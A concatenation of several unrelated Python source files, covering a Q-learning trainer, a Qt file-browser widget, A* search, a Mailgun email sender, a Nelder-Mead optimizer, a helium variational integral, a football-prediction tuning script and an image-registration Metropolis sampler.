        if not os.path.exists(model_folder_path):
            os.makedirs(model_folder_path)
        # check if file exists rename it if it does
        file_name = os.path.join(model_folder_path, file_name)
        # print(file_name)
        # while os.path.isfile(file_name):
        #     file_name = file_name.split('.')[0] + '_new.' + file_name.split('.')[1]

        torch.save(self.state_dict(), file_name) # save model

class QTrainer:
    '''QTrainer'''
    def __init__(self, model, lr, gamma):
        '''Initializes the QTrainer'''
        self.lr = lr # learning rate
        self.gamma = gamma # discount rate
        self.model = model # model
        self.optimizer = optim.Adam(model.parameters(), lr=self.lr) # optimizer
        self.criterion = nn.MSELoss() # loss function

    def train_step(self, state, action, reward, next_state, done): # train model
        '''Trains the model using the Q-learning algorithm (Bellman Equation)'''
        state = torch.tensor(state, dtype=torch.float) # convert to tensor
        next_state = torch.tensor(next_state, dtype=torch.float)
        action = torch.tensor(action, dtype=torch.long)
        reward = torch.tensor(reward, dtype=torch.float)

        if len(state.shape) == 1: # if state is 1D, convert to 2D
            # unsqueeze(0) adds a dimension of size 1 at the specified position
            state = torch.unsqueeze(state, 0)
            next_state = torch.unsqueeze(next_state, 0)
            action = torch.unsqueeze(action, 0)
            reward = torch.unsqueeze(reward, 0)
            done = (done, ) # convert to tuple

        # predicted Q values with current state (Q(s, a, w))
        pred = self.model(state)

        target = pred.clone() # clone the predicted Q values
        for i in range(len(done)):
            Q_new = reward[i]
            if not done[i]:
                Q_new = reward[i] + self.gamma * torch.max(self.model(next_state[i]))
            target[i][torch.argmax(action).item()] = Q_new

        # Q_new = r + y * max(next_predicted Q value) -> only do this if not done
        # pred.clone() -> clone the predicted Q values
        # preds[argmax(action)] = Q_new -> update the predicted Q values
        self.optimizer.zero_grad() # reset the optimizer
        loss = self.criterion(target, pred) # calculate the loss
        loss.backward() # back propagation
        self.optimizer.step() # update the weights


try:
    from PySide2.QtGui import *
    from PySide2.QtCore import *
    from PySide2.QtWidgets import *
except:
    from PySide.QtGui import *
    from PySide.QtCore import *

import os

class FileItemShot(QFrame):

    _path = ""
    _asset_type = ""
    _text = ""
    _folder_type = None
    _date = []

    def __init__(self, path, asset_type, text, folder_type, date=None, parent=None):
        super(FileItemShot, self).__init__(parent)

        self._path = path
        self._asset_type = asset_type
        self._text = text
        self._folder_type = folder_type
        self._date = date

        self.hLayout = QVBoxLayout(self)
        #self.sLayout = QHBoxLayout()
        self.labelIcon = QLabel(self)
        self.labelName = QLabel(self)
        self.labelDate = QLabel(self)

        if folder_type == "file":
            if date:
                self.labelDate.setText(date["day"] + " " + date["time"])

        self.hLayout.addWidget(self.labelIcon)
        self.hLayout.addWidget(self.labelName)

        basic_icon = os.path.join(os.path.dirname(__file__).replace("\\", "/"), "icons")
        out_icon = os.path.join(self._path, self._text+"/out/proxy/proxy.jpg").replace("\\","/")

        if folder_type == "shot" or folder_type == "asset":

            if os.path.isfile(out_icon):
                icon = out_icon
            else:
                icon = os.path.join(basic_icon, "f_icon_v2.png")

            pix = QPixmap(icon)

            pix.scaled(self.width(), self.height())
            self.icon = pix
            self.labelIcon.setPixmap(QPixmap(self.icon))
            self.labelIcon.setScaledContents(True)
            self.labelIcon.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.MinimumExpanding)

        elif folder_type == "file":
            icon = os.path.join(basic_icon, "hip_icon.png")
            pix = QPixmap(icon)
            self.icon = pix.scaled(self.width(), self.height())
            self.labelIcon.setPixmap(QPixmap(self.icon))
        else:
            pass

        self.labelIcon.setScaledContents(True)
        font = QFont()
        font.setBold(True)
        font.setPointSize(9)

        self.labelName.setFont(font)
        self.labelName.setText(text)
        self.labelIcon.setGeometry(QRect(10, 10, 100, 100))

        self.labelDate.setAlignment(Qt.AlignRight)
        self.labelName.setAlignment(Qt.AlignHCenter)

        self.labelIcon.setScaledContents(True)
        self.hLayout.setSpacing(4)
        self.hLayout.setContentsMargins(3,3,3,3)

        self.setObjectName("Item")
        self.labelIcon.setObjectName("Icon")
        self.setStyleSheet("QLabel{background:rgba(0,0,0,0);}")
        #self.labelIcon.setStyleSheet("QLabel#Icon{border:1px solid gray; border-radius: 2px;}")
        # self.setStyleSheet("QFrame#Item{"
        #                    "border:1px solid dark-gray;"
        #                    "border-radius: 2px;}")
        #

    def set_icon(self, image):
        self.labelIcon.setPixmap(QPixmap(image))
        self.labelIcon.repaint()

    @property
    def path(self):
        return self._path

    @property
    def asset_type(self):
        return self._asset_type

    @property
    def text(self):
        return self._text

    @property
    def folder_type(self):
        return self._folder_type

    @property
    def date(self):
        return self._date


"""
A* Search
Thy Ton
"""

from helper import distance, Act
from heapq import heappush, heappop

def aStarSearch(start, goals, adjList):
	heap = []
	fromStart = {}
	fromStart[start] = 0
	previousPos = {}
	heappush(heap, (min([distance(start, goal) for goal in goals]), start) )
	while heap:
		current = heappop(heap)[1]
		if current in goals:
			# calculate plans
			moveCnt = fromStart[current]
			steps = []
			pos = current
			while pos != start:
				steps.insert(0, pos)
				pos = previousPos[pos]
			steps.insert(0, start)
			return { 'steps' : steps, 'plan': [Act.STEP]*moveCnt}
		neis = adjList[current]
		for nei in neis:
			if nei not in fromStart:
				previousPos[nei] = current
				fromStart[nei] = fromStart[current] + 1
				priority = fromStart[nei] + min([distance(nei, goal) for goal in goals])
				heappush(heap, (priority, nei))
			elif fromStart[current] + 1 < fromStart[nei]:
			# if there is a shorter path to nei
				fromStart[nei] = fromStart[current] + 1
				previousPos[nei] = current
				priority = fromStart[nei] + min([distance(nei, goal) for goal in goals])


import os
import requests
import sys
from send_email_pb2 import SendEmail
from dotenv import load_dotenv

load_dotenv()

DOMAIN: str = os.getenv('MAILGUN_DOMAIN')
API_KEY: str = os.getenv('MAILGUN_API_KEY')
GSUITE_ADMIN_USER = os.getenv('GSUITE_ADMIN_USER')

def send_email(send_email_proto: SendEmail) -> None:
    """Sends a message to mailgun"""

    # Sending to MailGun API
    resp = requests.post(
        f"https://api.mailgun.net/v3/{DOMAIN}/messages",
        auth=("api", API_KEY),
        data={
            "from": send_email_proto.from_address,
            "to": send_email_proto.to_address,
            "subject": send_email_proto.subject,
            "text": send_email_proto.text
        }
    )
    print(f"response from Mailgun: {resp}")

if __name__ == '__main__':
    to_address: str = sys.argv[1]
    send_email_proto: SendEmail = SendEmail(
        from_address=GSUITE_ADMIN_USER,
        to_address=[to_address],
        subject='Test mg send from local script',
        text='Hello...'
    )
    send_email(send_email_proto=send_email_proto)


from dataclasses import dataclass
from math import sqrt
from statistics import mean
from typing import Callable, List, Sequence, Union

import numpy as np

from .minimization_result import MinimizationExitCondition, MinimizationResult

def _initialize_error_values(
    vertices: List[np.ndarray], objective_function: Callable[[np.ndarray, int], float]
) -> List[float]:
    """Evaluate the objective function at each vertex to create a corresponding list of error values for each vertex"""

    return [objective_function(v, -1) for v in vertices]

@dataclass
class _ErrorProfile:
    highest_index: int = 0
    next_highest_index: int = 0
    lowest_index: int = 0

def _evaluate_simplex(error_values: List[float]) -> _ErrorProfile:
    """Examine all error values to determine the error profile"""

    error_profile = _ErrorProfile()
    if error_values[0] > error_values[1]:
        error_profile.highest_index = 0
        error_profile.next_highest_index = 1
    else:
        error_profile.highest_index = 1
        error_profile.next_highest_index = 0

    for index in range(len(error_values)):
        error_value = error_values[index]
        if error_value <= error_values[error_profile.lowest_index]:
            error_profile.lowest_index = index
        if error_value > error_values[error_profile.highest_index]:
            error_profile.next_highest_index = error_profile.highest_index
            error_profile.highest_index = index
        elif error_value > error_values[error_profile.next_highest_index] and index != error_profile.highest_index:
            error_profile.next_highest_index = index
    return error_profile

def _compute_centroid(vertices: List[np.ndarray], error_profile: _ErrorProfile) -> np.ndarray:
    """Compute the centroid of all points except the worst"""

    num_vertices = len(vertices)
    centroid = np.zeros(num_vertices - 1)
    for i in range(num_vertices):
        if i != error_profile.highest_index:
            centroid = np.add(centroid, vertices[i])
    return centroid * (1.0 / (num_vertices - 1))

def _try_to_scale_simplex(
    scale_factor: float,
    error_profile: _ErrorProfile,
    vertices: List[np.ndarray],
    error_values: List[float],
    objective_function: Callable[[np.ndarray, int], float],
    evaluation_count: int,
) -> float:
    """Test a scaling operation of the high point, and replace it if it is an improvement"""

    # find the centroid through which we will reflect
    centroid = _compute_centroid(vertices, error_profile)

    # define the vector from the centroid to the high point
    centroid_to_high_point = np.subtract(vertices[error_profile.highest_index], centroid)

    # scale and position the vector to determine the new trial point
    new_point = np.add(centroid_to_high_point * scale_factor, centroid)

    # evaluate the new point
    new_error_value = objective_function(new_point, evaluation_count)

    # if it's better, replace the old high point
    if new_error_value < error_values[error_profile.highest_index]:
        vertices[error_profile.highest_index] = new_point
        error_values[error_profile.highest_index] = new_error_value

    return new_error_value

def _shrink_simplex(
    error_profile: _ErrorProfile,
    vertices: List[np.ndarray],
    error_values: List[float],
    objective_function: Callable[[np.ndarray, int], float],
    evaluation_count: int,
) -> None:
    """Contract the simplex uniformly around the lowest point"""

    lowest_vertex = vertices[error_profile.lowest_index]
    for i in range(len(vertices)):
        if i != error_profile.lowest_index:
            vertices[i] = np.add(vertices[i], lowest_vertex) * 0.5
            error_values[i] = objective_function(vertices[i], evaluation_count)
            evaluation_count += 1

class NelderMeadSimplex:
    """Class implementing the Nelder-Mead simplex algorithm, used to find a minima when no gradient is available.

    Called fminsearch() in Matlab. A description of the algorithm can be found at
    http://se.mathworks.com/help/matlab/math/optimizing-nonlinear-functions.html#bsgpq6p-11
    or
    https://en.wikipedia.org/wiki/Nelder%E2%80%93Mead_method
    """

    def __init__(self, convergence_tolerance: float, max_function_evaluations: int, scale: float) -> None:
        self.convergence_tolerance = convergence_tolerance
        self.max_function_evaluations = max_function_evaluations
        self.scale = scale

    def find_minimum(
        self, objective_function: Callable[[np.ndarray, int], float], initial_guess: Union[np.ndarray, Sequence[float]]
    ) -> MinimizationResult:
        """Finds the minimum of the objective function with an intial pertubation"""

        # create the initial simplex
        if not isinstance(initial_guess, np.ndarray):
            initial_guess = np.array(initial_guess)
        vertices = self._initialize_vertices(initial_guess)

        evaluation_count = 0
        exit_condition = MinimizationExitCondition.NONE

        error_values = _initialize_error_values(vertices, objective_function)

        # iterate until we converge, or complete our permitted number of iterations
        while True:
            error_profile = _evaluate_simplex(error_values)

            # see if the range in point heights is small enough to exit
            if self._has_converged(error_values):
                exit_condition = MinimizationExitCondition.CONVERGED
                break

            # attempt a reflection of the simplex
            reflection_point_value = _try_to_scale_simplex(
                -1.0, error_profile, vertices, error_values, objective_function, evaluation_count
            )
            evaluation_count += 1
            if reflection_point_value <= error_values[error_profile.lowest_index]:
                # it's better than the best point, so attempt an expansion of the simplex
                _try_to_scale_simplex(2.0, error_profile, vertices, error_values, objective_function, evaluation_count)
                evaluation_count += 1
            elif reflection_point_value >= error_values[error_profile.next_highest_index]:
                # it would be worse than the second best point, so attempt a contraction to look
                # for an intermediate point
                current_worst = error_values[error_profile.highest_index]
                contraction_point_value = _try_to_scale_simplex(
                    0.5, error_profile, vertices, error_values, objective_function, evaluation_count
                )
                evaluation_count += 1
                if contraction_point_value >= current_worst:
                    # that would be even worse, so let's try to contract uniformly towards the low point;
                    # don't bother to update the error profile, we'll do it at the start of the
                    # next iteration
                    _shrink_simplex(error_profile, vertices, error_values, objective_function, evaluation_count)
                    # that required one function evaluation for each vertex; keep track
                    evaluation_count += len(vertices) - 1
            # check to see if we have exceeded our alloted number of evaluations
            if evaluation_count >= self.max_function_evaluations:
                exit_condition = MinimizationExitCondition.MAX_FUNCTION_EVALUATIONS
                break

        return MinimizationResult(
            exit_condition,
            vertices[error_profile.lowest_index],
            error_values[error_profile.lowest_index],
            evaluation_count,
        )

    def _initialize_vertices(self, initial_guess: np.ndarray) -> List[np.ndarray]:
        """Construct an initial simplex, given starting guesses for the constants,
        and initial step sizes for each dimension"""

        num_dimensions = initial_guess.shape[0]

        pn = self.scale * (sqrt(num_dimensions + 1) - 1 + num_dimensions) / (num_dimensions * sqrt(2))
        qn = self.scale * (sqrt(num_dimensions + 1) - 1) / (num_dimensions * sqrt(2))

        vertices: List[np.ndarray] = []
        p0 = initial_guess
        vertices.append(p0)
        for i in range(num_dimensions):
            v: List[float] = []
            for j in range(num_dimensions):
                v.append(pn if i == j else qn)
            vertices.append(np.add(p0, v))
        return vertices

    def _has_converged(self, error_values: List[float]) -> bool:
        """Check whether the points in the error profile have so little range that we
        consider ourselves to have converged"""

        avg = mean(error_values)
        r = 0
        for ev in error_values:
            r += pow(ev - avg, 2) / (len(error_values) - 1)
        r = sqrt(r)
        return r < self.convergence_tolerance


import numpy as np
from scipy.integrate import tplquad
from quantumworldX.helium import phi1
zeta = 2

def H11_vpm(t, u, s, zeta=1.6875, Z=2):
    return np.exp(-2*s*zeta)*(s*s - t*t - 4.0*s*u*Z + (s - t)*(s + t)*u*zeta*zeta)
def S11_vpm(t, u, s, zeta=1.6875, Z=2):
    return u*(s*s - t*t)*phi1(s, t, u, zeta)*phi1(s, t, u, zeta)

def expected_phi1(zeta):
    # this is how we 3-d integrate
    S11_int, error = tplquad( S11_vpm  ,
                                0.0, np.inf,
                                lambda x: 0.0, lambda x: x,
                                lambda x, y: 0.0, lambda x, y: y,
                                args=(zeta, 2.0))
    H11_int, error = tplquad(  H11_vpm    ,
                                0.0, 50.0,
                                lambda x: 0.0, lambda x: x,
                                lambda x, y: 0.0, lambda x, y: y,
                                args=(zeta, 2.0))
    return H11_int/S11_int

e = expected_phi1(zeta)
print(e)

15.Variational Principle/Optimizing Very Poor Man's Wave-Function.py


#!/usr/bin/python3
#coding: utf-8

'''
#
# Does things
#
'''

import re, io, os, sys, time
import datetime
import sqlite3
import random
from importlib import import_module
from random import seed
from random import randint

#import_module("FullAutoConstants")
import_module("CommonAnalysis")
import_module("TeamConstants")

from CommonAnalysis import *
from BundesLAAlgorithmConstants import *

####--####--####--####--####--####
####  CONSTANTS
####--####--####--####--####--####

AUTO_MODE = "auto"
ALLOWED_MODES = [AUTO_MODE]
LAUNCH_MODE = "NONE"

OUTPUT_FILE = "varOptimalOutput.txt"

ALL_LEAGUES = [{'name': BUNDESLIGA_NAME, 'teams': BUNDESLIGA_TEAMS},
  {'name': LIGUE_ONE_NAME, 'teams': LIGUEONE_TEAMS},
  {'name': LIGUE_TWO_NAME, 'teams': LIGUETWO_TEAMS},
  {'name': PREMIER_LEAGUE_NAME, 'teams': PREMIERLEAGUE_TEAMS},
  {'name': SPANISH_LIGA_NAME, 'teams': SPANISH_LIGA_TEAMS},
  {'name': ITA_SERIE_A_NAME, 'teams': ITA_SERIE_A_TEAMS},
  {'name': PORTUGAL_LIGA_NAME, 'teams': PORTUGAL_LIGA_TEAMS},
]

####--####--####--####--####--####
####  SCRIPT EXECUTION
####--####--####--####--####--####

matchDate = ""
if len(sys.argv) > 2 :
  matchDate = sys.argv[1]
  modeText = sys.argv[2]
  if modeText in ALLOWED_MODES :
    LAUNCH_MODE = modeText
  else:
    LAUNCH_MODE = "NONE"
else :
  print("Need. More. Arguments. Eat.")
  print("Usage : python3 <file.py> initial_date(dd/mm/yyyy) <mode>")
  print("Replace <mode> with " + TRYOUT_MODE + " for algorithm tryout, and with " + PRONO_MODE + " for this week's pronostics.")
  sys.exit()

cursor = initCursor()

if LAUNCH_MODE == AUTO_MODE :
  with open(OUTPUT_FILE, 'w') as outputFile :
    for teamDict in ALL_LEAGUES :
      print("Processing league " + teamDict['name'] + " ...")
      bestVars = monteCarloMode(cursor, matchDate, teamDict['name'], teamDict['teams'], MUTABLE_VARS, 0)
      finalVars = discMode(cursor, matchDate, teamDict['name'], teamDict['teams'], bestVars, 0)

      outputFile.write("## ## RESULTS FOR LEAGUE " + teamDict['name'] + " ## ##\n")
      outputFile.write("## ## WIN RATE: " + str(round(finalVars['WIN_RATE'], 2)) + "%\n")
      for key in finalVars.keys() :
        if key == 'WIN_RATE' :
          continue
        outputFile.write("MUTABLE_VARS[\"" + str(key) + "\"] = " + str(round(finalVars[key], 5)) + "\n")
      outputFile.write("\n\n")
      print(teamDict['name'] + " done ! We keep going !")
else :
  print ("No known actions were asked. Exiting...")


from nipy.neurospin.image import load_image, save_image
from nipy.neurospin.registration import IconicRegistration, Affine
from nipy.utils import example_data
from os.path import join
import numpy as np
import pylab

"""
Random walk proposal (gaussian)
"""
def random_walk(T, T0, sigma=1.):
    nparams = T.param.size
    T2 = Affine(subtype=T.subtype, flag2d=T.flag2d)
    T2.param = T.param + sigma*np.random.normal(size=nparams)
    return T2, 1.

"""
Independence chain proposal (gaussian)
"""
def independence_chain(T, T0, sigma=1.):
    nparmas = T.param.size
    T2 = Affine(subtype=T.subtype, flag2d=T.flag2d)
    T2.param = T0.param + sigma*np.random.normal(size=nparams)
    sigma_ = np.maximum(sigma, 1e-20)
    tmp = (T2.param/sigma_)**2-(T.param/sigma_)**2
    r = np.exp(-.5*tmp.sum())
    return T2, r

# Load images
def make_matcher():
    I = load_image(example_data.get_filename('neurospin',
                                             'sulcal2000',
                                             'nobias_ammon.nii.gz'))
    J = load_image(example_data.get_filename('neurospin',
                                             'sulcal2000',
                                             'nobias_anubis.nii.gz'))

    # Create a registration instance
    R = IconicRegistration(I, J)
    R.set_source_fov(fixed_npoints=64**3)
    R.similarity = 'llr_cc'
    return R

R = make_matcher()

# Initial transform
T0 = Affine(radius=10)
##T0 = R.optimize(search='affine', radius=10)
nparams = T0.param.size

# Very empirical...
lda = 1./float(R._source_npoints)
##lda *= 100

sigma = 0.1*np.ones(nparams)
sigma[6:9] = 0.0 ## freeze scaling parameters for now

niters = 1000
T = T0
results = np.zeros([niters, nparams])
logL = lda*R.eval(T)
na = 0
propose = random_walk
##propose = independence_chain

print('starting Metropolis')
for i in range(niters):
    T2, r = propose(T, T0, sigma=sigma)
    logL2 = lda*R.eval(T2)
    a = np.exp(logL2-logL)/r # acceptance
    print('a = %f' % a)
    if np.random.rand() <= a:
        print('  accepted')
        T = T2
        logL = logL2
        na += 1
    results[i,:] = T.param

print ('Overall acceptance rate: %f' % (na/float(niters)))

print('*** Start ***')
print(T0)
print('*** Final ***')
print(T)